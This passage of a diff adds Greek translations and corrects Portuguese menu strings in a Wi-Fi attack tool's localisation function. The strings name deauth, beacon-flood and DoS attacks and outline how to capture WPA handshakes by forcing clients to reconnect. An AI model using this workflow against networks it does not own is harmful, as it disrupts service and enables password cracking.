confusion" @@ -983,6 +1094,7 @@ function language_strings() { arr["catalan",91]="Acció WIDS / WIPS / WDS confusion" arr["portuguese",91]="Acção WIDS / WIPS / confusão WDS" arr["russian",91]="Смешение WIDS / WIPS / WDS в действии" + arr["greek",91]="Ενέργεια σύγχυσης WIDS / WIPS / WDS" arr["english",92]="Beacon flood action" arr["spanish",92]="Acción Beacon flood" @@ -990,6 +1102,7 @@ function language_strings() { arr["catalan",92]="Acció Beacon flood" arr["portuguese",92]="Acção Beacon flood" arr["russian",92]="Флуд маяками в действии" + arr["greek",92]="Ενέργεια πλημμυρίσματος φάρου" arr["english",93]="Auth DoS action" arr["spanish",93]="Acción Auth DoS" @@ -997,6 +1110,7 @@ function language_strings() { arr["catalan",93]="Acció Auth DoS" arr["portuguese",93]="Acção Auth DoS" arr["russian",93]="DoS аутентификации в действии" + arr["greek",93]="Ενέργεια Auth DoS" arr["english",94]="Michael Shutdown action" arr["spanish",94]="Acción Michael Shutdown" @@ -1004,6 +1118,7 @@ function language_strings() { arr["catalan",94]="Acció Michael Shutdown" arr["portuguese",94]="Acção Michael Shutdown" arr["russian",94]="Отключение Michael в действии" + arr["greek",94]="Ενέργεια Michael Shutdown" arr["english",95]="Mdk3 amok parameters" arr["spanish",95]="Parámetros Mdk3 amok" @@ -1011,6 +1126,7 @@ function language_strings() { arr["catalan",95]="Paràmetres Mdk3 amok" arr["portuguese",95]="Parâmetros Mdk3 amok" arr["russian",95]="Параметры Mdk3 amok" + arr["greek",95]="Παράμετροι Mdk3 amok" arr["english",96]="Aireplay deauth parameters" arr["spanish",96]="Parámetros Aireplay deauth" @@ -1018,6 +1134,7 @@ function language_strings() { arr["catalan",96]="Paràmetres Aireplay deauth" arr["portuguese",96]="Parâmetros Aireplay deauth" arr["russian",96]="Параметры деаутентификации Aireplay" + arr["greek",96]="Παράμετροι Aireplay deauth" arr["english",97]="WIDS / WIPS / WDS parameters" arr["spanish",97]="Parámetros WIDS / WIPS / WDS" @@ -1025,6 +1142,7 @@ function language_strings() { arr["catalan",97]="Paràmetres WIDS / WIPS / WDS" arr["portuguese",97]="Parâmetros WIDS / WIPS / WDS" arr["russian",97]="Параметры WIDS / WIPS / WDS" + arr["greek",97]="Παράμετροι WIDS / WIPS / WDS" arr["english",98]="Beacon flood parameters" arr["spanish",98]="Parámetros Beacon flood" @@ -1032,6 +1150,7 @@ function language_strings() { arr["catalan",98]="Paràmetres Beacon flood" arr["portuguese",98]="Parâmetros Beacon flood" arr["russian",98]="Параметры флуда маяками" + arr["greek",98]="Παράμετροι πλημμυρίσματος φάρου" arr["english",99]="Auth DoS parameters" arr["spanish",99]="Parámetros Auth DoS" @@ -1039,6 +1158,7 @@ function language_strings() { arr["catalan",99]="Paràmetres Auth DoS" arr["portuguese",99]="Parâmetros Auth DoS" arr["russian",99]="Параметры аутентификации DoS" + arr["greek",99]="Παράμετροι Auth DoS" arr["english",100]="Michael Shutdown parameters" arr["spanish",100]="Parámetros Michael Shutdown" @@ -1046,90 +1166,103 @@ function language_strings() { arr["catalan",100]="Paràmetres Michael Shutdown" arr["portuguese",100]="Parâmetros Michael Shutdown" arr["russian",100]="Параметры отключения Michael" + arr["greek",100]="Παράμετροι Michael Shutdown" arr["english",101]="Airgeddon main menu" arr["spanish",101]="Menú principal airgeddon" arr["french",101]="Menu principal d'airgeddon" arr["catalan",101]="Menú principal airgeddon" - arr["portuguese",101]="$pending_of_translation Airgeddon menu principal" + arr["portuguese",101]="Menu principal airgeddon" arr["russian",101]="Главное меню Airgeddon" + arr["greek",101]="Αρχικό μενού Airgeddon" arr["english",102]="DoS attacks menu" arr["spanish",102]="Menú ataques DoS" arr["french",102]="Menu des attaques DoS" arr["catalan",102]="Menú d'atacs DoS" - arr["portuguese",102]="$pending_of_translation Menu de ataques DoS" + arr["portuguese",102]="Menu de ataques DoS" arr["russian",102]="Меню DoS атак" + arr["greek",102]="Μενού DoS επιθέσεων" arr["english",103]="Exploring for targets" arr["spanish",103]="Explorar para buscar objetivos" arr["french",103]="Détection pour trouver des cibles" arr["catalan",103]="Explorar per buscar objectius" - arr["portuguese",103]="$pending_of_translation Navegue para localizar alvos" + arr["portuguese",103]="Navegue para localizar alvos" arr["russian",103]="Сканирование целей" + arr["greek",103]="Εξερεύνηση στόχων" arr["english",104]="Select target" arr["spanish",104]="Seleccionar objetivo" arr["french",104]="Selection de l'objectif" arr["catalan",104]="Seleccionar objectiu" - arr["portuguese",104]="$pending_of_translation Escolha um objetivo" + arr["portuguese",104]="Escolha um objetivo" arr["russian",104]="Выбор цели" + arr["greek",104]="Επιλέξτε στόχο" arr["english",105]="About & Credits" arr["spanish",105]="Acerca de & Créditos" arr["french",105]="A propos de & Crédits" arr["catalan",105]="Sobre de & Crédits" - arr["portuguese",105]="$pending_of_translation Sobre & Créditos" + arr["portuguese",105]="Sobre & Créditos" arr["russian",105]="О программе и Благодарности" + arr["greek",105]="Σχετικά με & Συστάσεις" arr["english",106]="Exiting" arr["spanish",106]="Saliendo" arr["french",106]="Sortie du script" arr["catalan",106]="Sortint" - arr["portuguese",106]="$pending_of_translation Partida" + arr["portuguese",106]="Saindo" arr["russian",106]="Выход" + arr["greek",106]="Γίνεται έξοδος" arr["english",107]="Join the project at $urlgithub" arr["spanish",107]="Únete al proyecto en $urlgithub" arr["french",107]="Rejoignez le projet : $urlgithub" arr["catalan",107]="Uneix-te al projecte a $urlgithub" - arr["portuguese",107]="$pending_of_translation Junte-se o projeto de $urlgithub" + arr["portuguese",107]="Junte-se ao projeto em $urlgithub" arr["russian",107]="Присоединитесь к проекту на $urlgithub" + arr["greek",107]="Συμμετέχετε στο project $urlgithub" arr["english",108]="Let's check if you have installed what script needs" arr["spanish",108]="Vamos a chequear si tienes instalado lo que el script requiere" arr["french",108]="Nous allons vérifier si les dépendances sont bien installées" arr["catalan",108]="Anem a verificar si tens instal·lat el que l'script requereix" - arr["portuguese",108]="$pending_of_translation Vamos verificar se você tiver instalado o que o script exige" + arr["portuguese",108]="Vamos verificar se você tem instalado tudo que o script exige" arr["russian",108]="Давайте проверим, всё ли у вас установлено, что нужно скрипту" + arr["greek",108]="Ας ελέγξουμε αν έχετε εγκαταστήσει ό,τι χρειάζεται το script" arr["english",109]="Essential tools: checking..." arr["spanish",109]="Herramientas esenciales: comprobando..." arr["french",109]="Vérification de la présence des outils nécessaires..." arr["catalan",109]="Eines essencials: comprovant..." - arr["portuguese",109]="$pending_of_translation Ferramentas essenciais: a verificação..." + arr["portuguese",109]="Verificando se as ferramentas necessárias estão presentes..." arr["russian",109]="Основные инструменты: проверка..." + arr["greek",109]="Απαραίτητα εργαλεία: γίνεται έλεγχος..." arr["english",110]="Your distro has all necessary essential tools. Script can continue..." arr["spanish",110]="Tu distro tiene todas las herramientas esenciales necesarias. El script puede continuar..." arr["french",110]="Les outils essentiels nécessaires au bon fonctionnement du programme sont tous présents dans votre système. Le script peut continuer..." arr["catalan",110]="La teva distro té totes les eines essencials necessàries. El script pot continuar..." - arr["portuguese",110]="$pending_of_translation Seu distro tem todas as ferramentas essenciais necessárias. O script pode continuar..." + arr["portuguese",110]="Sua distro tem as ferramentas essenciais. O script pode continuar..." arr["russian",110]="Ваша система имеет все необходимые основные инструменты..." + arr["greek",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["english",111]="You need to install some essential tools before running this script" arr["spanish",111]="Necesitas instalar algunas herramientas esenciales antes de lanzar este script" arr["french",111]="Vous devez installer quelques programmes avant de pouvoir lancer ce script" arr["catalan",111]="Necessites instal·lar algunes eines essencials abans d'executar aquest script" - arr["portuguese",111]="$pending_of_translation Você precisa instalar algumas ferramentas essenciais antes de lançar este script" + arr["portuguese",111]="Você precisa instalar algumas ferramentas essenciais antes de executar este script" arr["russian",111]="Перед работой в этом скрипте, вам нужно установить некоторые основные инструменты" + arr["greek",111]="Χρειάζεται να εγκαταστήσετε κάποια απαραίτητα εργαλεία πριν τρέξετε το script" arr["english",112]="Language changed to French" arr["spanish",112]="Idioma cambiado a Francés" arr["french",112]="Le script sera maintenant en Français" arr["catalan",112]="Llenguatge canviat a Francès" - arr["portuguese",112]="$pending_of_translation Idioma alterado para Francês" + arr["portuguese",112]="Idioma alterado para Francês" arr["russian",112]="Язык изменён на французский" + arr["greek",112]="Η γλώσσα άλλαξε σε Γαλλικά" arr["english",113]="3. French" arr["spanish",113]="3. Francés" @@ -1137,13 +1270,15 @@ function language_strings() { arr["catalan",113]="3. Francès" arr["portuguese",113]="3. Francês" arr["russian",113]="3. Французский" + arr["greek",113]="3. Γαλλικά" arr["english",114]="Use it only on your own networks!!" arr["spanish",114]="Utilízalo solo en tus propias redes!!" arr["french",114]="Utilisez-le seulement dans vos propres réseaux!!" arr["catalan",114]="Utilitza'l només a les teves pròpies xarxes!!" - arr["portuguese",114]="$pending_of_translation Use-o apenas em suas próprias redes!!" + arr["portuguese",114]="Use-o apenas em suas próprias redes!!" arr["russian",114]="Используйте только на ваших собственных сетях!!!" + arr["greek",114]="Χρησιμοποιήστε το μόνο σε δικά σας δίκτυα!!!" arr["english",115]="Press [Enter] key to continue..." arr["spanish",115]="Pulsa la tecla [Enter] para continuar..." @@ -1151,6 +1286,7 @@ function language_strings() { arr["catalan",115]="Prem la tecla [Enter] per continuar..." arr["portuguese",115]="Pressione a tecla [Enter] para continuar..." arr["russian",115]="Нажмите клавишу [Enter] для продолжения..." + arr["greek",115]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." arr["english",116]="4. Catalan" arr["spanish",116]="4. Catalán" @@ -1158,118 +1294,135 @@ function language_strings() { arr["catalan",116]="4. Català" arr["portuguese",116]="4. Catalão" arr["russian",116]="4. Каталонский" + arr["greek",116]="4. Καταλανικά" arr["english",117]="Language changed to Catalan" arr["spanish",117]="Idioma cambiado a Catalán" arr["french",117]="Le script sera maintenant en Catalan" arr["catalan",117]="Idioma canviat a Català" - arr["portuguese",117]="$pending_of_translation Idioma alterado para Catalão" + arr["portuguese",117]="Idioma alterado para Catalão" arr["russian",117]="Язык изменён на каталонский" + arr["greek",117]="Η γλώσσα άλλαξε σε Καταλανικά" arr["english",118]="4. DoS attacks menu" arr["spanish",118]="4. Menú de ataques DoS" arr["french",118]="4. Menu des attaques DoS" arr["catalan",118]="4. Menú d'atacs DoS" - arr["portuguese",118]="$pending_of_translation 4. Ataques DoS menu" + arr["portuguese",118]="4. Menu de ataques DoS" arr["russian",118]="4. Меню DoS атак" + arr["greek",118]="4. Μενού DoS επιθέσεων" arr["english",119]="5. Handshake tools menu" arr["spanish",119]="5. Menú de herramientas Handshake" arr["french",119]="5. Menu des outils pour Handshake" arr["catalan",119]="5. Menú d'eines Handshake" - arr["portuguese",119]="$pending_of_translation 5. Menu ferramentas do Handshake" + arr["portuguese",119]="5. Menu ferramentas Handshake" arr["russian",119]="5. Меню инструментов для работы с рукопожатием" + arr["greek",119]="5. Μενού εργαλειών χειραψίας" arr["english",120]="Handshake tools menu" arr["spanish",120]="Menú de herramientas Handshake" arr["french",120]="Menu des outils pour Handshake" arr["catalan",120]="Menú d'eines Handshake" - arr["portuguese",120]="$pending_of_translation Menu de ferramentas do Handshake" + arr["portuguese",120]="Menu de ferramentas Handshake" arr["russian",120]="Меню инструментов для работы с рукопожатием" + arr["greek",120]="Μενού εργαλειών χειραψίας" arr["english",121]="5. Capture Handshake" arr["spanish",121]="5. Capturar Handshake" arr["french",121]="5. Capture du Handshake" arr["catalan",121]="5. Captura Handshake" - arr["portuguese",121]="$pending_of_translation 5. Captura de Handshake" + arr["portuguese",121]="5. Captura de Handshake" arr["russian",121]="5. Захват рукопожатия" + arr["greek",121]="5. Καταγράψτε την Χειραψία" arr["english",122]="6. Clean/optimize Handshake file" arr["spanish",122]="6. Limpiar/optimizar fichero de Handshake" arr["french",122]="6. Laver/optimiser le fichier Handshake" arr["catalan",122]="6. Netejar/optimitzar fitxer de Handshake" - arr["portuguese",122]="$pending_of_translation 6. Limpar arquivo/optimize Handshake" + arr["portuguese",122]="6. Limpar arquivo/otimizar Handshake" arr["russian",122]="6. Очистка/оптимизация файла рукопожатия" + arr["greek",122]="6. Καθαρισμός/βελτιστοποίηση του αρχείου χειραψίας" arr["english",123]="7. Return to main menu" arr["spanish",123]="7. Volver al menú principal" arr["french",123]="7. Retourner au menu principal" arr["catalan",123]="7. Tornar al menú principal" - arr["portuguese",123]="$pending_of_translation 7. Volte ao menu principal" + arr["portuguese",123]="7. Voltar ao menu principal" arr["russian",123]="7. Возврат в главное меню" + arr["greek",123]="7. Επιστροφή στο αρχικό μενού" arr["english",124]="monitor mode needed for capturing" arr["spanish",124]="modo monitor requerido en captura" arr["french",124]="modo moniteur nécessaire pour la capture" arr["catalan",124]="mode monitor requerit en captura" - arr["portuguese",124]="$pending_of_translation modo de captura do monitor necessário" + arr["portuguese",124]="Modo de monitor necessário para captura" arr["russian",124]="для захвата необходим режим монитора" + arr["greek",124]="χρειάζεται η κατάσταση παρακολούθησης για την καταγραφή" arr["english",125]="There is no valid target network selected. You'll be redirected to select one" arr["spanish",125]="No hay una red objetivo válida seleccionada. Serás redirigido para seleccionar una" arr["french",125]="Le choix du réseau cible est incorrect. Vous allez être redirigé vers le menu de sélection pour effectuer un nouveau choix" arr["catalan",125]="No hi ha una xarxa objectiu vàlida seleccionada. Seràs redirigit per seleccionar una" - arr["portuguese",125]="$pending_of_translation Sem válida uma rede de destino selecionado. Você será redirecionado para selecionar um" + arr["portuguese",125]="Nenhuma rede válida selecionada. Você será redirecionado para selecionar um" arr["russian",125]="Не выбрана подходящая целевая сеть. Вы будете перенаправлены на выбор сети" + arr["greek",125]="Δεν έχει επιλεχθεί κάποιο έγκυρο δίκτυο-στόχος. Θα καθοδηγηθείτε ώστε να επιλέξετε ένα" arr["english",126]="You have a valid WPA/WPA2 target network selected. Script can continue..." arr["spanish",126]="Tienes una red objetivo WPA/WPA2 válida seleccionada. El script puede continuar..." arr["french",126]="Choix du réseau cible WPA/WPA2 valide. Le script peut continuer..." arr["catalan",126]="Tens una xarxa objectiu WPA/WPA2 vàlida seleccionada. El script pot continuar..." - arr["portuguese",126]="$pending_of_translation Você tem uma rede alvo WPA/WPA2 válido selecionado. O script pode continuar..." + arr["portuguese",126]="Você tem uma rede WPA/WPA2 válida selecionada. O script pode continuar..." arr["russian",126]="У вас есть подходящая целевая сеть WPA/WPA2. Скрипт может продолжать..." + arr["greek",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA/WPA2. Το script μπορεί να συνεχίσει..." arr["english",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake" arr["spanish",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake" arr["french",127]="La marche à suivre est généralement: 1-Selectionner la carte wifi 2-Activer le mode moniteur 3-Choisir un réseau cible 4-Capturer le Handshake" arr["catalan",127]="L'ordre natural per procedir a aquest menú sol ser: 1-Tria targeta wifi 2-Posa-la en mode monitor 3-Tria xarxa objectiu 4-Captura Handshake" - arr["portuguese",127]="$pending_of_translation A ordem natural para prosseguir neste menu é geralmente: 1-Escolha de 2-Ponla cartão wifi no modo monitor de 3-Selecionar rede objectivo 4-Capture Handshake" + arr["portuguese",127]="A ordem normal para esse menu é: 1-Escolha de uma interface wifi 2-colocar interface wifi no modo monitor 3-Selecionar uma rede 4-Capturar Handshake" arr["russian",127]="Естественный порядок работы в этом меню: 1-Выбрать Wi-Fi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожание" + arr["greek",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα Wi-Fi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την χειραψία" arr["english",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["spanish",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" arr["french",128]="Veuillez sélectionner une carte wifi au lieu d'une carte ethernet afin d'être en mesure de réaliser plus d'actions" arr["catalan",128]="Seleccioneu una targeta wifi per treballar amb la finalitat de ser capaç de fer més accions que amb una interfície ethernet" - arr["portuguese",128]="$pending_of_translation Selecione uma interface wifi para realizar mais ações do que com interface ethernet" + arr["portuguese",128]="Selecione uma interface wifi para realizar mais ações do que com interface ethernet" arr["russian",128]="Выберите wifi карту для работы, чтобы вы могли выполнить больше действий, чем с ethernet интерфейсом" + arr["greek",128]="Επιλέξτε κάρτα wifi ώστε να μπορείτε να έχετε περισσοτερες επιλογές από μία διεπαφή ethernet" arr["english",129]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack" arr["spanish",129]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Comienza el ataque" arr["french",129]="La marche à suivre est généralement: 1-Selectionner la carte wifi 2-Activer le mode moniteur 3-Choisir un réseau cible 4-Capturer le Handshake" arr["catalan",129]="L'ordre natural per procedir a aquest menú sol ser: 1-Tria targeta wifi 2-Posa-la en mode monitor 3-Tria xarxa objectiu 4-Iniciar l'atac" - arr["portuguese",129]="$pending_of_translation A ordem natural para prosseguir neste menu é geralmente: 1-Escolha de 2-Ponla cartão wifi no modo monitor 3-Escolha rede alvo de 4-Começa o ataque" + arr["portuguese",129]="A ordem normal para esse menu é: 1-Escolha de uma interface wifi 2-colocar interface wifi no modo monitor 3-Selecionar uma rede 4-Começa o ataque" arr["russian",129]="Обычный порядок работы в этом меню: 1-Выберите wifi карту 2-Переведите её в режим монитора 3-Выберите целевую сеть 4-Запустите атаку" + arr["greek",129]="Η διαδικασία για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Ξεκινήστε την επίθεση" arr["english",130]="Remember to select a target network with clients to capture Handshake" arr["spanish",130]="Recuerda seleccionar una red objetivo con clientes para capturar el Handshake" arr["french",130]="Rappelez-vous de sélectionner un réseau cible avec un/des client(s) connecté(s) pour pouvoir capturer un Handshake" arr["catalan",130]="Recorda que has de seleccionar una xarxa de destinació amb clients per capturar el Handshake" - arr["portuguese",130]="$pending_of_translation Lembre-se de selecionar uma rede de destino com os clientes para capturar o Handshake" + arr["portuguese",130]="Lembre-se de selecionar uma com clientes para capturar o Handshake" arr["russian",130]="Не забудьте выбрать целевую сеть с клиентами для захвата рукопожатия" + arr["greek",130]="Θυμηθείτε να επιλέξετε ένα δίκτυο-στόχος με έναν ή παραπάνω χρήστες για να καταγράψετε μία Χειραψία" arr["english",131]="Not all attacks affect all access points. If an attack is not working against an access point, choose another one :)" arr["spanish",131]="No todos los ataques afectan a todos los puntos de acceso. Si un ataque no funciona contra un punto de acceso, elige otro :)" arr["french",131]="Toutes les attaques n'affectent pas les points d'accès de la même manière. Si une attaque ne donne pas de résultats, choisissez en une autre :)" arr["catalan",131]="No tots els atacs afecten tots els punts d'accés. Si un atac no està treballant cap a un punt d'accés, tria un altre :)" - arr["portuguese",131]="$pending_of_translation Nem todos os ataques afetam todos os pontos de acesso. Se um ataque não funciona contra um ponto de acesso, escolha outro :)" + arr["portuguese",131]="Nem todos os ataques funcionam em todas as redes. Se um ataque não funcionar contra uma rede, escolha outro :)" arr["russian",131]="Не все атаки справляются со всеми точками доступа. Если атака не работает в отношении точки доступа, выберите другую :)" + arr["greek",131]="Δεν είναι όλες οι επιθέσεις αποτελεσματικές σε όλα τα σημεία πρόσβασης. Αν μια επίθεση δεν δουλεύει ενάντια σε ένα σημείο πρόσβασης, διαλέξτε κάποια άλλη :)" arr["english",132]="Cleaning a Handshake file is recommended only for big size files. It's better to have a backup, sometimes file can be corrupted while cleaning it" arr["spanish",132]="Limpiar un fichero de Handshake se recomienda solo para ficheros grandes. Es mejor hacer una copia de seguridad antes, a veces el fichero se puede corromper al limpiarlo" arr["french",132]="Épurer le fichier contenant le Handshake est seulement recommandable si le fichier est volumineux. Si vous décidez d'épurer le fichier il est conseillé de faire une copie de sauvegarde du fichier originel, l'opération de nettoyage comporte des risques et peut le rendre illisible" arr["catalan",132]="Netejar un fitxer de Handshake es recomana només per a fitxers grans. És millor fer una còpia de seguretat abans, de vegades el fitxer es pot corrompre al netejar-lo" - arr["portuguese",132]="$pending_of_translation Você limpar um Handshake arquivo é recomendado apenas para arquivos grandes. Melhor fazer um backup antes de, por vezes, o arquivo pode corromper a limpo" + arr["portuguese",132]="Limpar um Handshake é recomendado apenas para arquivos grandes. Melhor fazer um backup antes de otimizar o arquivo; as vezes pode corromper o arquivo ao limpar" arr["russian",132]="Очистка файла рукопожатия рекомендована только для файлов больших размеров. Лучше иметь резервную копию, иногда во время очистки файл может быть повреждён" + arr["greek",132]="Ο καθαρισμός ενός αρχείου Χειραψίας συνιστάται μόνο για μεγάλου μεγέθους αρχεία. Καλύτερα κρατήστε ένα backup, μερικές φορές το αρχείο μπορεί να καταστραφεί κατά τη διάρκεια του καθαρισμού" arr["english",133]="If you select a target network with hidden ESSID, you can't use it, but you can perform BSSID based attacks to that network" arr["spanish",133]="Si seleccionas una red objetivo con el ESSID oculto, no podrás usarlo, pero puedes hacer ataques basados en BSSID sobre esa red" @@ -1277,48 +1430,55 @@ function language_strings() { arr["catalan",133]="Si selecciones una xarxa objectiu amb el ESSID ocult, no podràs usar-lo, però pots fer atacs basats en BSSID sobre aquesta xarxa" arr["portuguese",133]="$pending_of_translation Se você selecionar uma rede alvo com ESSID oculto, você não pode usá-lo, mas você pode fazer ataques com base no que BSSID rede" arr["russian",133]="Если вы выбрали целевую сеть со скрытым ESSID, вы не сможете исопльзовать её, но вы можете выполнить атаку на эту сеть на основе BSSID" + arr["greek",133]="Αν επιλέξετε ένα δίκτυο-στόχος με κρυφό ESSID, δεν μπορείτε να το χρησιμοποιήσετε, αλλά μπορείτε να εκτελέσετε επιθέσεις BSSID σε αυτό το δίκτυο" arr["english",134]="If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card" arr["spanish",134]="Si tu Linux es una máquina virtual, es posible que las tarjetas wifi integradas sean detectadas como ethernet. Utiliza una tarjeta wifi externa usb" arr["french",134]="Si votre système d'exploitation Linux est lancé dans une machine virtuelle, il est probable que les cartes wifi internes soient détectées comme des cartes ethernet. Il vaut mieux dans ce cas utiliser un dispositif wifi usb" arr["catalan",134]="Si el teu Linux és a una màquina virtual, és possible que les targetes wifi integrades siguin detectades com ethernet. Utilitza una targeta wifi externa usb" - arr["portuguese",134]="$pending_of_translation Se o Linux é uma máquina virtual, é possível que as placas wireless integradas são detectados como ethernet. Usa um usb placa wifi externa" + arr["portuguese",134]="Se seu Linux é uma máquina virtual, suas placas wireless integradas são detectadas como ethernet. Use uma placa usb externa" arr["russian",134]="Если ваш Linux в виртуально машине, то интегрированная Wi-Fi карта может определиться как Ethernet. Используйте внешнюю USB wifi карту" + arr["greek",134]="Αν το Linux σας είναι εικονική μηχανή, είναι πιθανόν οι ενσωματωμένες κάρτες wifi να εντοπιστούν σαν ethernet. Χρησιμοποιήστε μία εξωτερική usb κάρτα wifi" arr["english",135]="Type of encryption: "${pink_color}"$enc"${normal_color} arr["spanish",135]="Tipo de encriptado: "${pink_color}"$enc"${normal_color} arr["french",135]="Type de chiffrement: "${pink_color}"$enc"${normal_color} arr["catalan",135]="Tipus d'encriptat: "${pink_color}"$enc"${normal_color} - arr["portuguese",135]="$pending_of_translation Tipo de criptografia: "${pink_color}"$enc"${normal_color} + arr["portuguese",135]="Tipo de criptografia: "${pink_color}"$enc"${normal_color} arr["russian",135]="Тип шифрования: "${pink_color}"$enc"${normal_color} + arr["greek",135]="Τύπος κρυπτογράφησης: "${pink_color}"$enc"${normal_color} arr["english",136]="Obtaining a Handshake is only for networks with encryption WPA or WPA2" arr["spanish",136]="La obtención de un Handshake es solo para redes con encriptación WPA o WPA2" arr["french",136]="L'obtention d'un Handshake est seulement possible sur des réseaux protégés par chiffrement WPA ou WPA2" arr["catalan",136]="L'obtenció d'un Handshake és només per a xarxes amb encriptació WPA o WPA2" - arr["portuguese",136]="$pending_of_translation A obtenção de um Handshake é apenas para redes com criptografia WPA ou WPA2" + arr["portuguese",136]="A obtenção de um Handshake é somente para redes com criptografia WPA ou WPA2" arr["russian",136]="Получение рукопожатия только для сетей с шифрованием WPA или WPA2" + arr["greek",136]="Η απόκτηση μιας Χειραψίας ισχύει μόνο σε δίκτυα με κρυπτογράφηση WPA ή WPA2" arr["english",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA or WPA2" arr["spanish",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA o WPA2" arr["french",137]="Le réseau sélectionné est invalide . Pour obtenir un Handshake le réseau cible doit être en WPA ou WPA2" arr["catalan",137]="La xarxa seleccionada no és vàlida. Per obtenir un Handshake, el tipus d'encriptació de la xarxa objectiu ha de ser WPA o WPA2" - arr["portuguese",137]="$pending_of_translation A rede selecionada é inválida. Para obter um Handshake, o tipo de criptografia da rede de destino deve ser WPA ou WPA2" + arr["portuguese",137]="A rede selecionada é inválida. Para obter um Handshake, o tipo de criptografia da rede deve ser WPA ou WPA2" arr["russian",137]="Выбранная сеть не подходит. Для получения рукопожатия, тип шифрования должен быть WPA или WPA2" + arr["greek",137]="Το επιλεγμένο δίκτυο είναι άκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA ή WPA2" arr["english",138]="Attack for Handshake" arr["spanish",138]="Ataque para Handshake" arr["french",138]="Attaque pour obtenir un Handshake" arr["catalan",138]="Atac de Handshake" - arr["portuguese",138]="$pending_of_translation Ataque de Handshake" + arr["portuguese",138]="Ataque de Handshake" arr["russian",138]="Атаковать для рукопожатия" + arr["greek",138]="Επίθεση για Χειραψία" arr["english",139]="1. Deauth / disassoc amok mdk3 attack" arr["spanish",139]="1. Ataque Deauth / Disassoc amok mdk3" arr["french",139]="1. Attaque Deauth / Disassoc amok mdk3" arr["catalan",139]="1. Atac Deauth / Disassoc amok mdk3" arr["portuguese",139]="1. Ataque Deauth / Disassoc amok mdk3" - arr["russian",139]=" 1. Атака деаутентификации / разъединения amok mdk3" + arr["russian",139]="1. Атака деаутентификации / разъединения amok mdk3" + arr["greek",139]="1. Επίθεση Deauth / disassoc amok mdk3" arr["english",140]="2. Deauth aireplay attack" arr["spanish",140]="2. Ataque Deauth aireplay" @@ -1326,6 +1486,7 @@ function language_strings() { arr["catalan",140]="2. Atac Deauth aireplay" arr["portuguese",140]="2. Ataque Deauth aireplay" arr["russian",140]="2. Атака деаутентификации aireplay" + arr["greek",140]="2. Επίθεση Deauth aireplay" arr["english",141]="3. WIDS / WIPS / WDS Confusion attack" arr["spanish",141]="3. Ataque WIDS / WIPS / WDS Confusion" @@ -1333,34 +1494,39 @@ function language_strings() { arr["catalan",141]="3. Atac WIDS / WIPS / WDS Confusion" arr["portuguese",141]="3. Ataque WIDS / WIPS / Confusão WDS" arr["russian",141]="3. Атака смешения WIDS / WIPS / WDS" + arr["greek",141]="3. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["english",142]="If the Handshake doesn't appear after an attack, try again or change the type of attack" arr["spanish",142]="Si tras un ataque el Handshake no aparece, vuelve a intentarlo o cambia de ataque hasta conseguirlo" arr["french",142]="Si vous n'obtenez pas le Handshake après une attaque, veuillez recommencer ou bien changer d'attaque jusqu'à son obtention" arr["catalan",142]="Si després d'un atac el Handshake no apareix, torna a intentar-ho o canvia d'atac fins aconseguir-ho" - arr["portuguese",142]="$pending_of_translation Se o Handshake depois de um belo não aparecer, tente novamente ou alteração de ataque para chegar" + arr["portuguese",142]="Se o Handshake não aparecer após um ataque, tente novamente ou tente alterar o tipo de ataque" arr["russian",142]="Если рукопожатие не появилось после атаки, попробуйте снова или измените тип атаки" + arr["greek",142]="Αν η Χειραψία δεν εμφανιστεί μετά από την επίθεση, προσπαθήστε ξανά ή αλλάξτε τύπο επίθεσης" arr["english",143]="Two windows will be opened. One with the Handshake capturer and other with the attack to force clients to reconnect" arr["spanish",143]="Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarles a reconectar" arr["french",143]="Deux fenêtres vont s'ouvrir: La première pour capturer le handshake et la deuxième pour effectuer l'attaque visant à expulser les clients du réseau et les forcer à renégocier un Handshake pour se reconnecter" arr["catalan",143]="S'obriran dues finestres. Una amb el capturador de Handshake i una altra amb l'atac per expulsar als clients i forçar-los a reconnectar" - arr["portuguese",143]="$pending_of_translation Duas janelas será aberto. Um Handshake com o grabber e outra com o ataque para levar os clientes para longe e forçá-los a reconectar" + arr["portuguese",143]="Duas janelas serão abertas. Uma para captura do Handshake e outra com o ataque para forçar os clientes a se reconectarem" arr["russian",143]="Будут открыты два окна. Одно с захватчиком рукопожатия, а другое с атакой для принудительного переподключения клиентов" + arr["greek",143]="Θα ανοίξουν δύο παράθυρα. Ένα με τον καταγραφέα Χειραψίας, και ένα με την επίθεση εξαναγκασμένης επανασύνδεσης των χρηστών" arr["english",144]="Don't close any window manually, script will do when needed. In about 20 seconds maximum you'll know if you've got the Handshake" arr["spanish",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake" arr["french",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vos saurez dans tout a plus 20 secondes si avez 